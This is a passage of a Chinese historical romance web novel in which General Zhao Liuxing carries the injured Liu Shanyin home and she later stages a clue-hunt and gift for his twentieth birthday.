柳善因听后掐着手指一算,瞪大了眼睛,“那岂不是快了!赵赵将军比哥哥小两岁,那今年刚好弱冠!这可是件大事,赵赵将军往年生辰怎么过?是和二姑一起过吗?” 赵留行收去向上的目光,转眸看向一脸好奇的柳善因面无表情道:“我和二姑从来不过生辰。” “啊?不过吗……” 说这话的人心如止水,听这话的人,却有些心疼他的落寞。 其实,也不能说是不过。应该说是,不被人记得。 一次次期待,一次次期望落空。 赵留行久而久之,对生辰这件事就变得淡漠,甚至演变成遗忘。有时候甚至等到生辰的第二日,他才会想起自己原来已经长大了一岁。 柳善因在旁看着儿郎冰冷的眼眸,不甘心地追问:“那今年也不过吗?” 赵留行站起身漠然应道:“这日子没什么好过的。” 柳善因被赵留行的话噎住,赵留行转而问她,“还疼吗?” 柳善因摇摇头,“好多了,咱们要回去了吗?” 赵留行嗯了一声,忽而蹲在了柳善因面前,吓得柳善因往后躲了躲,她刚想开口问问眼前人要做什么,就听赵留行沉声冲她说:“上来吧,瞧着你这样子也走不了太远的路,我背着你回家还能快些。” 第46章 第46章回家路上 什么!眼前人要背她回家! 柳善因刚才被赵留行那么抱着已是羞愧难当,若是再被其背着回家,那还得了?柳善因赶忙解释:“不用,我自己能走,不信你瞧!我这就走给你看。” 柳善因说着慌里慌张站起身,却被脚踝上火辣辣的痛牵绊着向前跌去,就正正好跌在了赵留行的背上。 赵留行居然二话没说,顺势将人给背了起来,吓得柳善因下意识伸手,环住了他的脖子。 赵留行长得高,柳善因挂在他的背上垂目往地上瞧,一边不好意思,一边害怕他把自己摔着,她无奈闭眼拍了拍赵赵将军,请求道:“你就把我放下来吧,这么走回家,若是被别人瞧见也不好看啊!” “有什么不好看的?”赵留行反问。 柳善因嘟囔:“哪里都不好看……” 赵留行闻言嗤然一笑,停在供奉神仙的殿前沉声说:“那行,我现在就放你下来,咱们拖延着时辰往家走,瞧瞧到时候等我再骑马回来赎你那珠钗,还在不在?” “……” 赵留行言之有理, 正拿捏住柳善因的下怀,惹得她哑口无言。 他便乘胜追击道:“怎么样?想好没?你下是不下?” 柳善因闻言缩着脑袋趴在他背上权衡半晌,终是在羞耻与珍贵的珠钗之间,选择了后者,“那还是不下了……只是要劳烦赵赵将军一路辛苦,都怪我不好,又又又给你添麻烦了。” 胡说,她哪里是他的麻烦…… 有了昨晚上的经历,赵留行再背起女郎简直就是易如反掌,什么男女大防,早就从柳善因钻进他怀里开始,便再也防不住了。赵留行环起女郎的腿,抬脚向了前。 他告诉柳善因,“这话往后不准再说。” 柳善因却默而不答。 可等赵留行路过某座神仙殿外的功德箱后,竟又忽而掉头走了回来,赵留行停下脚步颠了颠背上的人,“小柳,把我怀里剩余的一贯多钱拿出来。” 柳善因不明所以,却还是乖乖照做。 她伸着小手在他怀里摸索半天,摸得赵留行胸口一紧,才把钱给摸了出来。 她茫茫然问赵留行,“赵赵将军要我拿钱做什么?” 赵留行没应声,只背着她俯身往功德箱靠去,柳善因低头一瞧恍惚读懂赵留行的用意,他应是看着女道长好心相帮不收钱,才想着往这儿续些香火钱,便默契地配合着眼前人将钱搁在了功德箱上。 可钱搁下了,赵留行倒没急着走,他说:“许个愿吧。” 柳善因没问原由,默默闭上了眼。过了一会儿,她才睁眼问赵留行,“赵赵将军许了什么愿?” 赵留行转过身答曰:“不告诉你,神仙知晓就行。” 说来二人心里倒是心有挂念,他许她往后无病无灾,她愿他将来幸福美满。只是俩人没一个抬眼仔细瞧,那匾额上赫然写五着个大字…… 送子娘娘殿! 他俩这费了半天劲,结果全然拜错了神仙!- 城隍庙外,四只被 困在花丛里的狗子此时已消停下来,它们瞧见二人过来,还起身摇了摇尾巴。赵留行搁下柳善因,伸手去将狗绳一根根从树干上绕了出来。 而后他牵着狗绳回身蹲下,没多说话,柳善因赶忙识相趴了上去,省得磨磨唧唧地挨骂。女郎二话没说覆了上来,叫赵留行垂眸忽而笑了一下。 “笑什么?”柳善因不解。 赵留行只起身说:“回家。” 于是乎,年轻的儿郎就这么挑起家庭的重担,背上背着自己的“媳妇”,左手牵着两只狗子,右手牵着两只狗子,缓缓朝家的方向进发。 路上,难免有人好奇,多看他们两眼。 赵留行脸皮厚无所谓。可柳善因脸皮薄,看得她不知如何是好,眼神更是没法安放,所以只能闭着眼睛装作若无其事。赵留行走着走着,突然听见一阵“惊天动地”的声响从背上传来。 他随之放缓脚步,开口去问身后人,“饿了?” 也是,今早起来匆匆忙忙,再加上昨天夜里吐得那样干净,这人能不饿吗? “有一点。”柳善因点点头。 这是有一点? 赵留行没有多言,他环顾四周,转身背着柳善因去到了个胡饼摊前。他定睛望着摊子上的饼,随意跟柳善因说了句:“咱身上的钱,估计就够吃个饼的了。你稍微垫一垫,等回家就有饭吃了。” 柳善因乖巧应了声好,她不挑食,也好养活,只要能吃饱就行。 可不知是赵留行说得话有歧义?还是女老板心不在焉?居然叫人听岔了去——什么情况?这俩人是逃荒来的?可瞧着不像啊?逃荒什么也不带,就带了四条狗? 那倒也挺有良心的。 女老板在这边思量,柳善因在那边扒着脖子问赵留行,“你呢?你不吃吗?” 赵留行不饿,他也不爱吃这些东西嫌噎得慌,便回复说:“不吃,你自己吃就行,我不饿。” 只是说者无心,听者有意。 女老板再次盯着俩人打量一番,又脑补出个更合理的故事来。 他为了她吃,竟说自己不饿…… 啊,她懂了! 这俩人穿着得体,应不是逃荒而来, 而是家里不同意他俩的亲事,所以才跑出来私奔的! 女老板想至此处,一切变得合理起来,只瞧她大方地用油纸装起两个香喷喷的胡饼朝二人递去,“给,两个胡饼拿去吃,不收你们钱。” 柳善因受宠若惊,吓得赶忙推却,“那怎么行,平白无故的,我们怎么能白吃您的胡饼!” 赵留行也纳闷。 女老板却一本正经地跟二人说:“诶,跟我客气什么?你就收着,难得见到像你们这么勇敢的年轻人,想当年若是我有勇气跟你们一样私奔,估计和十二郎的孩子都满地爬了,唉,真让人羡慕——你们一定得坚持住,能跟爱的人相守此生,多么难能可贵啊!” 等等,这都哪跟哪啊? 赵留行和柳善因闻言双双大惊失色,合着眼前人是把他俩当成逃婚私奔,途中吃不上饭的青年男女了,这误会可大了。他俩其实不过是出来买狗忘记带钱,又不小心摔到脚的倒霉“两口子”。 赵留行知晓眼前人是好心,只是这种事就算有嘴也解释不清,他便没去理会女老板的话,侧目跟柳善因说:“小柳,掏钱。” 柳善因连忙伸手从赵留行胸前摸索出几个铜板,放在了摊子上。 “拿饼,走了。” 赵留行见状随即发号施令,柳善因又笑着从女老板手里接过了胡饼。 俩人配合着动作一气呵成,赵留行转头就背着人速速离去。可等走出几丈远,他们却还是能听见女老板奋力地高呼:“坚持努力,别屈服,别放弃——” “……” 叫赵留行不由得加快脚步,逃离这尴尬地境地。 等好不容易走远,柳善因又在他背后咯咯咯地笑起,赵留行问她,“你笑什么?” 柳善因摇摇头,“没什么,我觉得刚才那个老板人还挺好的。” 赵留行没接茬,他只叫柳善因快点吃饼,免得凉了发硬,剩下的钱可真不够买饮子喝的。柳善因却打开油纸包,顺手掰了一大块往赵留行的脸前送去,“赵赵将军,你先吃,你先吃嘛。” 赵留行推拒,“我不吃。” “哎呀,你就吃一口吧,你一大早上跟我一样,也是什么东西都没吃啊!”柳善因怕他是客气,一个劲地往前怼去,差点没给赵留行的嘴角怼出个印子来。 女郎盛情难却,赵留行没有办法,只能张口把胡饼咬下。可女郎掰得胡饼块头实在太大,噎得他这一口下去,脖子恨不能伸出二里地。 恩将仇报…简直是恩将仇报! “赵赵将军,你没事吧——”柳善因察觉到赵留行的异常,赶忙伸手往他胸口的位置顺了顺,这才没叫他噎昏过去。赵留行喉咙干燥,咽下东西后就没再说过话。 柳善因偏伸头过去问他,“赵赵将军,你还吃吗?” 赵留行回头看了一眼柳善因,柳善因立刻闭嘴噤声,自顾自啃起胡饼不再打扰他。 怎料,一波未平,一波又起,接下来赵留行每走几步,都会动一动脖子,耸一耸肩。而柳善因呢?则在认认真真品尝胡饼入口后散发出的麦芽香气,和酥脆的口感,丝毫未曾察觉眼前人的小动作。 赵留行走了半刻钟,终于忍不住停了下来。他站在城中的水渠边沉声和柳善因说:“小柳,不行我先放你下来,等你吃完饼咱们再走……” “嗯?怎么了?我这么慢慢吃没关系的!”柳善因不太明白,说话间嘴里也一直嚼嚼嚼个不停。 看来,她是很喜欢这个胡饼。 可赵留行却已忍无可忍,她这么慢慢吃确实是没关系,但她再这么吃下去,等自己回家一脱衣裳都能再做出一张胡饼了!只闻赵留行中气十足地冲身后人扬声道:“柳善因,我是背了只耗子吗?你知不知道你一直在往下掉渣——” “啊?对不起,对不起!我不知道……我还以为我用油纸包接得好好的。”柳善因见状立刻闭上嚼嚼嚼的嘴巴,下意识伸出冰冷的小手朝赵留行的衣领掏去。 没成想,却凉得眼前人一激灵。 第47章 第47章不敢奢求 折腾来折腾去,俩人到家已经过了中午头。 要说还得是赵留行年轻身体好,一路背着柳善因他是连口大气也不带喘。 柳善因起初还跟眼前人保持些距离,生怕跟他接触地太亲密,可背得时间长了,一直挺着脖子实在酸得难受,她便放弃挣扎趴在了他的背上。赵留行背脊宽厚,单薄的衣衫下尽是结实的肌肉,柳善因把软呵呵的小脸贴在上面,居然因为太过安心而睡着。 站在家门口,赵留行轻声去问:“睡着了?” 柳善因迷迷糊糊抬头嗯了一声。 “别睡了,到家了。” 赵留行抬手叩门。不一会儿长夏从里头探出身,她瞧见主家的脸立刻将门大开,“是夫人和郎君回来了——呀,夫人这是怎么了?” 长夏没注意二人脚边吐舌哈气的恶犬,只顾着询问柳善因缘何衣裙脏脏,脚踝有伤?赵留行刚想接茬,柳善因就在背后挠了挠头,“我不小心摔了一下。” 长夏有些担忧,“摔着了?严重吗?用不用去给您请个大夫瞧瞧?” 柳善因摇头说不用,赵留行却不放心,“别听她的。去把那老郎中请来给夫人好好瞧瞧,再开些好药膏,免得留疤。” “我没事,脚踝留疤以后遮着点就好,不要紧的。赵赵将军不要为我破费。”柳善因愧疚难当,一遍遍重复自己没事,她觉得自己生来就是乡间野草,并非什么金枝玉叶,哪值得别人这般珍惜…… 赵留行也是执拗,他岂能放任女郎这样伤着不管,“你说得不算,老郎中说得才算。你若觉得我破费,就等以后好好报答我。现在你就给我好好养伤。” 话已至此,柳善因再推辞就显得不识趣了,她点头说:“好,我听话就是。” 赵留行这才转头想将四只狗交到长夏手里,没成想,长夏一瞧见四只恶犬, 竟吓得噌一下弹了开,“三郎君,这,这是哪来的这么多狗啊!每一只长得都怪吓人的!” 狗子们似是能听懂人话。 一个个前一秒还在哈哈地吐气,后一秒听见她的话瞬间收起舌头,面露凶相。 不吐舌头的狗子真是吓人。长夏吓得躲在门后听赵留行蹙眉说:“怕什么,瞧你平时冲我的时候胆子怪大,现在这就怕了?你来把狗领到后院去,过几天叫人来打几个狗窝,再给安排到前院。” 怕什么?说得轻巧。 之前柳善因害怕的时候,他可不是这副嘴脸。 “天爷,我,我最怕狗了——我去叫土酥帮忙!”长夏盯着狗子的眼睛打了个寒颤,转头找了个说辞落荒而逃。 赵留行握着狗绳的手臂悬在半空,柳善因却在此时发声:“放我下来吧,都到家了,我可以自己走路了。” 赵留行回神没搭理她,抬脚自顾自朝家中走去,柳善因只好作罢,二人就这么一路悠悠晃晃来到寝屋,恰好土酥也得了长夏的差使,来将四只狗子接走。 “哇,狗子!” 土酥胆子大,她一见狗子高兴的不得了,立刻上去就将它们摸了遍。 摸得它们是服服帖帖。 土酥接过赵留行手里的狗绳,就跟狗子们的“大王”一样威武霸气,她让狗子们坐下,狗子们就乖乖坐下。土酥没着急走,她站在寝屋外头看屋内赵留行小心翼翼放下柳善因,随口发问:“将军,您弄这么多狗回家是要作甚?” “看家护院。”赵留行漫不经心地答。 土酥闻言眼睛一亮,“嚯,原来你们几个是将军请来的护卫啊!”狗子居然也配合她叫唤了两声,土酥继而又言,“了不起,了不起。那我可得好好招待招待咱们的新伙计喽,夫人将军你们忙,我往后头去了——” 柳善因坐在床边微笑着点点头。 赵留行瞥了屋外人一眼,什么话也没说,只坐去案前拉着水壶倒了杯水给柳善因递去。 柳善因接过水盏道谢,赵留行没应声,又给自己倒了一杯。他真是渴了,一连饮了三盏都不觉够。可等他倒起第四杯,准备悠悠闲闲望向屋外喘口气时,柳善因却睁着大眼将他相望。 赵留行不解,他抿着水杯去看身边人,“这么看着我作甚?” 柳善因不知该如何开口,她有点不好意思麻烦眼前人,但又有点放不下心中挂念的事。最终只怯怯吐出了两字,希望赵留行能明白:“珠钗……” 赵留行还真是累得把正事都给忘了,瞧他听后顿时心领神会,既然是承诺女郎的事,就该兑现。 谁叫他是个信守承诺的人。 “哦,等着。”赵留行二话不说抚袍起身就朝门外走,可没等柳善因那声“麻烦赵赵将军。”落下,赵留行便一声不吭闷着头走回了她的床前。 柳善因瞧着站在自己面前的人,下意识往后躲了躲,“怎,怎么回来了?” 赵留行忽而伸手,再次说了那句熟悉的:“掏钱。” 柳善因这才一敲脑壳,单脚起身,在赵留行的注视里蹦去了屋外,他看着柳善因冲他挥手说:“跟我来吧赵赵将军,我带你去后院挖钱去——” 忍不住噗嗤笑一声了出来- 五月十五日。 赵留行的二十岁,正巧赶上在宫中上值, 可在他眼中,这不过是漫长人生中普通的不能再普通的一天,便没什么所谓。 辰时刚过,赵留行在御前守了一夜,才跟翊卫那群人换过岗,便顺势坐在勋府外的石阶上吃昨日上值前柳善因给他带的角黍。只是堪堪吃了两口,他就开始盯着手里的角黍发呆。 彼之,郑洛均恰巧送完牒牍回来,瞧见赵留行上前拍了他一下,“欸,臭小子,在这儿发什么呆呢?” 赵留行抬起头,没说话。 其实他不是发呆,只是单纯被噎到了。 等好不容易把口中的角黍咽下,郑洛均偏又在看到他手中的角黍时抢着开口:“真好,我们原先孤苦伶仃的赵老三,现在也有人惦记给带饭了。就是弟妹怎么又给你带了角黍啊?你家没别的吃的了吗?单我看见你吃这玩意少说也得有四五次了!端午都过去得有十日了吧,你家的角黍还没吃完?” 赵留行闻言陷入沉默,他不敢想,他现在一想端午和角黍就想吐。 他不知道是秫米便宜了? 还是柳善因上次听他随口一说自己爱吃角黍? 她竟然在端午那天包了整整两盆,放在厨屋,等着一天给他煮上几个。谁料,这一吃就是一旬过去,眼见那角黍见了底,他也终于快熬到头了。 赵留行挑眉看向郑洛均,顺手给他拿了一个角黍送去,“是,没吃完呢……” “给,你吃不吃?替我分担一个。” “也行,我正巧没吃早饭。”郑洛均说着坐在赵留行的身边,接过了他手中的角黍,可吃着吃着他却忽而问赵留行,“这东西放了这么久,不会坏吧?” 赵留行瞥了一眼他,“家里有冰鉴冻着,坏不了。要真坏的话,我早就吃坏了。” “屁话真多,你吃不吃?不吃还我。” 赵留行虽吃腻了角黍,这两三年甚至都不想再碰,但对于柳善因亲自下厨的心意,他还是异常珍惜,他每次都把角黍啃得干干净净,就怕辜负了柳善因的一片好心。 “也是,你说得有理。” 郑洛均点点头,躲开了赵留行伸出的手臂,“我吃,我一定吃干净。” 此间静好,勋卫大部分人值完夜都会找个地方打盹,所以现下院中就剩赵留行和郑洛均并肩而坐,兄弟两个就这么迎着晨光一边吃角黍,一边有一搭没一搭地聊着。 郑洛均:“弟妹手艺可以啊,比我家那位强多了,你小子有口福。” 赵留行:“嗯,确实不错。” 郑洛均:“孩子带的怎么样?现在顺手了吗?” 赵留行:“还行。” 郑洛均:“不打算再要一个吗?” 赵留行:“……你打算再要一个吗?” 郑洛均:“不要了。” 赵留行:“那你不要,我也不要。” “……” 郑洛均哑口无言,他咬下最后一口角黍堵住自己的嘴巴,他觉得自己就多余问他。赵留行抬头望向一日之计的早晨,却好似望见了黄昏,他猝不及防地去问身边的人,“老九,你往日的生辰怎么过?” 郑洛均认真答曰:“那还能怎么过?老婆孩子热炕头呗!” “以前在家就是随意过过,后来成了亲,二娘年年都会带着孩子给我庆生,一大家子人热热乎乎的,别提多美了。我现在啊,一年里除了过年,最期盼的就是生辰日了。” 郑洛均话语里将要溢出的幸福,让赵留行生出几分艳羡,这些感受是他永远也难以感受的。可其实对于生辰,他还是在乎的,只是不期待了。 因为好似无论如何,结果永远都不会变。 郑洛均转头看向赵留行,“诶?你生辰是不是快到了?往前不说,如今你也算是成家立业,有人相亲相爱。弟妹今年肯定也会为你操持操持,你就期待着吧。” 赵留行却默而不言。 他觉得二十岁的生辰,能在下值后看到柳善因的笑脸,已经算是老天爷对他的格外开恩。 别的,他不敢奢求,也不能奢求。 第48章 第48章找到我啦 傍晚时分,长街上的灯火从南到北错落,赵留行如往常一样穿梭其中,迷蒙的眼睛里仍旧满是疲惫与蹉跎。然与往昔唯一不同的,便是他心里终于有所惦念,不再空落无依着。 黄昏的残阳映红了他的眼。 赵留行默然向前,直到在某个叫卖寒具的摊子前停下脚步,他才张口跟老板要了两斤带回家。看着长长的面条,下进滚烫的油锅,赵留行垂眸想这东西就当是抵了长寿面了,柳善因也爱吃。 他的十岁与二十岁无甚区别,生辰也就这样了。 过去就过去吧。 可等赵留行拎着刚炸好的寒具推开家门,等待他的却是一片将要把他吞没的死寂。赵留行愣在门廊,恍惚间想起了从前的那些时光,孤独 ,痛苦,迷惘,看不见丝毫光亮,就跟此刻一样。 微凉的晚风吹拂他的眉眼,他忽而直视起远方,毅然向着黑暗走去。 只是缘何今夜寝屋也是暗的……赵留行在推门之前莫名叹了口气,看来,他是真的奢望了。可他明知自己与柳善因不过是逢场作戏的假夫妻,就不该期待。 抬脚进门,赵留行随手将油纸袋放在桌上,转身在黑漆漆的桌案边坐了下来。 他刚打算思量柳善因和小家伙的去向时,身后的小床上就发出了动静。他下意识回头瞧,居然这才发现小家伙被柳善因独自留在了房间,他刚觉得奇怪,小家伙就在那头冲他咿呀咿呀地叫。 赵留行随即起身去到小床前抱起小家伙,用着暗哑的嗓音问:“小宝在这儿,小姑在哪?” 小家伙似懂非懂大人叽里咕噜的怪话,只一个劲拽着布老虎往赵留行脸上砸,赵留行不解,却也没恼,他一遍遍将小家伙的手按下,小家伙却还是一遍遍砸他。 如此来去弄了半天,赵留行才恍然大悟:“你是有什么东西想给我?” “啊啊!”小宝表示赞同。 赵留行继而指了指布老虎,“你想把这东西给我?” “啊啊啊!”小宝表示非常赞同。 愚笨的大人终于看出了小孩子的良苦用心,赵留行一拿起布老虎,小家伙就立刻松了手。等他拿着布老虎翻了半天,终于在老虎的屁股后头发现了张褶皱的字条。 原这才是小家伙想要给他的东西。 屋里昏暗,赵留行展开字条看了半天,一个字也没看清,便转头抱着孩子去了门廊,想要借着外头的光线瞧一瞧,“这是小姑画的?” 赵留行就着门廊的光观摩来去,那似曾相识的线条,让他没忍住笑了笑。 小家伙也学着他的样子探头往前瞧。 “父子两个”一个比一个努力,却是谁也看不出个所以然! “一个屋子?壁橱?还是柜子里面藏着个人?”赵留行盯着手里的字条大惑不解,只因柳善因画得“出神入化”,叫他这样的俗人实在是难以琢磨她的深意。 赵留行转眸问小家伙,“小宝瞧得出小姑的意思吗?小姑是让我们去找她吗?” 小家伙连话都不会说,还能看得懂大人留的字条?这不是为难小孩子嘛?小宝见状一头倒在赵留行怀里撒娇,可就是这么一倒,像是点醒了赵留行般,瞧他二话没说就抬腿带着娃娃往厢房去。 厢房亦是一片死寂,赵留行来到衣柜前,笃定着字条上的答案。 他便一刻未曾犹豫地拉开柜门,“你躲在这儿作甚?” 赵留行私以为柜中等待他的会是那个熟悉的身影,没成想,里头露出的竟是长夏的脸,只听长夏瞧见来人堪堪笑着吐出个,“三郎君……” 赵留行就砰的一声关上了柜门。 “什么东西……走了小宝,人不在这儿。” 赵留行若无其事地转身离去,柜子里却发出几句嗡嗡的说话声。 他没听清,总之绝对不是好话。 长夏偷偷骂完赵留行,转头夺门而出,她怒气冲天去到赵留行身边,将手里捧着的一小捆青菜往眼前人身上一塞愤愤道:“将军走什么走!你不是找夫人呢?给,这是夫人自己种的青菜,夫人让我祝你菜源广进!” 长夏这话说得不情不愿。 可柳善因的面子不能驳,她还是老老实实完成了柳善因交代给自己的差事。 长夏说罢抬腿气呼呼地走。只是行出两三步,她又掉头回来冲身后人咬牙切齿道了声:“生辰吉乐!”把赵留行弄得一愣。 也不知夫人看上这人什么了? 还这么用心给他庆生!乐吧,乐死你个鳖孙! 赵留行看着长夏来了又走,抱着孩子一头雾水地站在原地。那声生辰吉乐亦是在他耳边挥散不去,这些都是柳善因安排的?赵留行不敢置信。 “诶小子,没洗的东西不要乱往嘴里塞!”他垂眸看着小家伙捏着青菜往嘴里送,赶忙伸手阻止,怎料又一张字条顺势掉了出来。 这人到底在卖什么关子?赵留行小心俯身捡起字条,这次他竟一眼就猜出了字条上的意思,四只狗住在同一个地方的地方还能是哪?不就是前院旁边的门房? 想至此处,赵留行微微一笑,胸有成竹抱起小宝朝前院行去。 “走喽小宝,带你瞧狗去——”- 可没到门房,他便知晓在那的一定不是柳善因,因为像她那么怕狗的人,定是不会躲在那等他。 果不其然,赵留行刚到新修的狗窝前一瞧,土酥正抱着一只通身雪白的狗子,藏在人家的狗窝里睡得正香。狗子们看到赵留行靠近,立刻大叫,吓得小宝直往他怀里钻。 但狗子们叫的震天响,那熟睡在狗窝里的人,居然一点没有要醒的意思。 赵留行无奈只能试探了说了句:“咳咳,羊蹄好了。” 没成想,这话居然还真管用。 土酥闻声立刻起身大道:“什么!哪有羊蹄——”还不小心把脑袋磕在了狗窝边上。 赵留行扶额无言。 他想自己这府上还真是“藏龙卧虎”,哪个都是人才! 土酥察觉赵留行来了,揉着脑袋站起身,连忙赔笑:“将军,您终于来了。我,我不小心睡着了。” 赵留行看着土酥没说话,土酥也瞧着他不说话。过了一会儿,赵留行忍不住皱眉,“东西呢?” “啥……” 土酥一时间没反应过来。 “哦哦,您瞧我这脑子,真是睡模糊了,我怎么把重要的事忘了!我这就给您去拿!”土酥转过身,从不远处拎了个食盒过来,赵留行瞧不出花样。 直到眼前人将食盒打开,六个不大不小的寿桃整齐摆在眼前,他才明了。 土酥捧着食盒眯眼笑,“将军,这是夫人亲自下厨准备的寿桃,夫人愿您岁岁平安,福寿齐天。您要想找到夫人,就得把这六个寿桃吃掉,因为纸条被夫人藏在寿桃里面了。我也不知是哪一个。” 赵留行盯着六个圆乎乎的寿桃,愣而无言,他形容不出自己现下的心情。 他只知道,他想快些将人找到。 土酥瞧赵留行愣神,还以为眼前人是吃不下这么多寿桃,便吸溜着口水同他说:“将军,其实你要需要帮忙的话……我也可以帮你吃的!” 赵留行却抬头看了她一眼,立刻拒绝,“用不着。” 他才不愿和别人分享柳善因做给他的寿桃。 土酥撇撇嘴,端着寿桃不再做声。 赵留行随手从中挑了一个拿起,谁知,竟正正好选到了藏有字条的那一个。 赵留行只咬了一口,就将字条吐了出来。他将字条展开,土酥也跟着好奇往前凑,可柳善因在书画上面的造诣,实在叫人难以恭维,土酥蹙眉看了半天,愣是冒出一句:“这是个什么东西?” 看来,这世上能读懂柳善因的,只有赵留行一人而已。 他垂眸淡定道:“这是有人坐在房顶上。” 土酥闻言惊诧:“哈?将军是咋看出来的!我还以为是山坡上坐了个牛呢!” “……” 赵留行没法接茬,只得选择转身离开。 他在离开前叮嘱土酥,“哦对,把东西给我放好,我回头再吃。” 土酥点点头,目送着人走远- 赵留行画是看到了,但前院后院大大小小十几间房的屋 顶,他哪知是哪一个? 赵留行一路抱着小家伙走走停停,路过无数个房间,最终被寝屋后头放着的梯子吸引了目光,他顺着目光往上看,梯子上新鲜的泥土证明有人不久前用过。 赵留行会心一笑。 原来自己兜兜转转了一圈,这人就在原地,未曾离去。 赵留行垂下目光,将收集到的字条仔细塞进袖中,随后单手抱娃三两下就登上了陡峭的屋顶。 身后的动静引起了另一个人的注意。 屋顶抱膝而坐的柳善因循声转头望去,只见身穿甲衣的霸气儿郎,就站在自己身后将她相望。儿郎的眼神如皓月清冷,却充满力量。叫适才还等得昏昏欲睡的女郎,瞬间清醒起来。 柳善因如花般的笑颜为赵留行而开,他们三两日未曾相见,再见面时多少带着些想念。柳善因在风中欢快地挥手,赵留行听眼前人同自己说:“你终于找到我啦!赵赵将军真厉害~” 第49章 第49章晚霞真美 暮色落进庭院,辗转照过地上的青苔,窗边的尘埃,时光好似在此间静静地流淌,赵留行站在原处盯着眼前人看了很久,那融在光影里的风雅王城,于他而言,都不及她分毫。 晚风徐徐,檐上的雀鸟来了又走。 柳善因拢起耳边的碎发,茫然望向他,“赵赵将军?你在想什么呢?过来坐呀。” 赵留行默而不言,他从未像现在这样期待过,他亦不知自己心下的欢愉从何而来,他只觉得能在这样好的黄昏和她见面,可真好,但…… 眼前的一切似乎都是场虚妄,离别的那日终究会来,他握不住她的手,也不可能不让她离开。 等到怀中的娃娃起了急一手拽着他的衣领,一边眼巴巴看向柳善因,他这才回过神来。 他便漠然带着孩子去了柳善因的身边。 “赵赵将军上值辛苦,来把小宝给我吧。”柳善因见状伸手想要去接小侄子,别叫眼前人累着,却被赵留行沉声拦下,“没事,叫我再多抱抱他。” 再? 柳善因不知其解。 她觉得今天的赵赵将军有点怪怪的,她说不出来是哪里怪,但她就是觉得他不对劲! 可等赵留行坐在身边,她也没顾得上多想,转头就鬼鬼祟祟地从袖子里往外掏东西。 趁着间隙,赵留行盘腿望向回京半年,自己却从未见过的风景张口问道:“今天这些事,都是小柳准备的?” 柳善因边摸索着口袋,边点头应声:“是呀,上回在城隍庙赵赵将军不是说,你的生辰是五月十五嘛!所以我就想着既然赵赵将军没有过过生辰,那今年有我在,我就给赵赵将军过个不一样的生辰。” “啊!我不会记错了吧?” 柳善因听赵留行这般问她,生怕是自己脑袋愚笨给记错日子。 她尴尬地转眸看赵留行,赵留行转眸看向她,沉声说:“你没记错。” 柳善因闻言拍拍胸口,她还以为事情又被自己搞砸了。赵留行转而问她,“你在做什么?” 柳善因便趁势从口袋掏出一串青绿色似挂坠一样的东西,朝赵留行面前捧去。 “赵赵将军,生辰吉乐——这是我亲手编的刀坠,虽然不是什么贵重的东西,我也买不起什么贵重的东西,但我在编的时候,已经向地姥娘娘祈祷了无数遍,希望地姥娘娘能保佑你平安顺遂,事事如意。” “而且啊,将这个穗子挂在赵赵将军的佩刀上,就算将来赵赵将军回了北庭,也不会忘掉我。” 柳善因说罢眯眼一笑,直挺挺笑到了赵留行的心坎上,他怎么可能忘掉她呢…… 赵留行愣在女郎甜蜜的笑里,久久缓不过劲来,他就这么呆愣在女郎面前听她柔声说:“我帮你挂上吧!” “嗯。”赵留行应了声。 柳善因满心欢喜地伸手,将挂坠系在了他腰间的佩刀上。 赵留行垂下眸,像个孩童般拿起挂坠小心翼翼看了半天。从来没有人这样用心对待过他,他头一遭知晓自己也能被这样温暖着。 “赵赵将军喜欢这个礼物吗?”柳善因在旁捧着小脸问他,期待着他的回答。 赵留行抬头说:“喜欢,很喜欢,你手挺巧的。” “没有啦,赵赵将军喜欢就好。”柳善因悬着的心终于落下,她转头去看天边将尽的黄昏,以及黄昏下绵延不绝的楼阁,欢声说,“赵赵将军快瞧,今天的晚霞多美啊。我以前最喜欢和哥哥一块坐在田埂上,看兰花村的日落了,那时候的晚霞,就跟现在的一样好。” 赵留行在柳善因的话语里往前望,小宝也在他怀里歪起脑袋细细瞧。 一家三口就这么沉浸其中,幸福而又满足着。 直到很久之后,赵留行忽而道了声:“谢谢。” 柳善因才趴在自己膝上缓缓转过头,冲着道谢的人莞尔一笑,“不用谢的赵赵将军,能为你做这些我很开心。跟你帮我做的那些事比起来,根本算不了什么。喏,趁着天还没黑,地姥娘娘还没休息,你来许个愿吧。地姥娘娘一定会帮你实现的。” 赵留行默而无言,晚霞在他眼中跳跃,浮动来去,一下两下,如同他热烈的心跳。他没向天边的神仙祈愿,而是定睛看向身边的女郎,说出了个这样的愿望。 “如果能和你们一辈子在一起就好了。” 柳善因反应迟钝,她眨眨眼一脸天真地接茬道:“哎呀,生辰一次只能许一个愿望,赵赵将军就别开玩笑了,按赵赵将军这么说,你难道还能一辈子不娶媳妇,一辈子不要自己的孩子吗?我们也不能一直赖着你呀?” 这话说完,柳善因只是觉得这不过是赵留行跟她开得个玩笑而已,谁成想,眼前人竟然一言不发,就那么直勾勾瞧了她半晌,瞧得她慢慢咂摸过味来。 “……” 等等,他不会是说真的吧! 柳善因惶然躲开赵留行的眼神,慌乱的心也不知该如何安放,她要怎么回答他?她实在分不清眼前人是在说玩笑话,还是认真的。赵留行却没否认,也没承认。 他只在女郎偏过脸后抱着娃娃起了身。 柳善因听见动静茫然看去,儿郎的眉目在黄昏里依旧凛冽,他的衣袍被风吹向北方,那才是他的归途,他就那样在天黑之前扬声道:“走,饿了。吃饭去吧,我还给你买了炸寒具放在屋里。” 柳善因看着赵留行抱着愈走愈远,开始模糊不清他的背影。 她迷茫不已,她想他肯定是在开玩笑的吧… 如果是这样…… 亲爱的地姥娘娘,您别怪罪,就再许赵赵将军个认真的愿望。 “小柳——” 忽而檐下的呼唤唤回了柳善因的思绪,她赶忙拍拍裙摆上的尘土,高声回应:“哦,这就来!”- 一碗清淡的长寿面,让赵留行从下肚后一直温暖到入梦前。 今天屋里人就寝的早,差不多戌时未过,两人就双双钻进了被窝。小宝近来夜里睡得安稳,喂夜奶的次数少了许多,所以爹娘两个夜里也不用跟着折腾了。 赵留行仰面躺在自己铺上,无声睡去。他沉重的脸上,总算见到了些久违的笑颜。 烛火将灭未灭,有人合眼,有人辗转反侧。 柳善因反复来去,最后枕着手臂躺向床外,她隔着薄薄的纱帐去望床下的人,她还在反复琢磨赵留行今日说过的那句模棱两可的话。 她凝视着赵留行清俊的面庞,想起往昔里种种,忽而读懂了他的为难。 赵赵将军真的太孤独了。 他看似什么都有,却一无所有。 赵家看似为他求了呈王府的好姻缘,实则个个心怀鬼胎,有所图谋。侯夫人口口声声说爱他护他,可只固执地考虑自己的想法。他就像个召之即来挥之即去的野犬,没有个可以安身的地方。 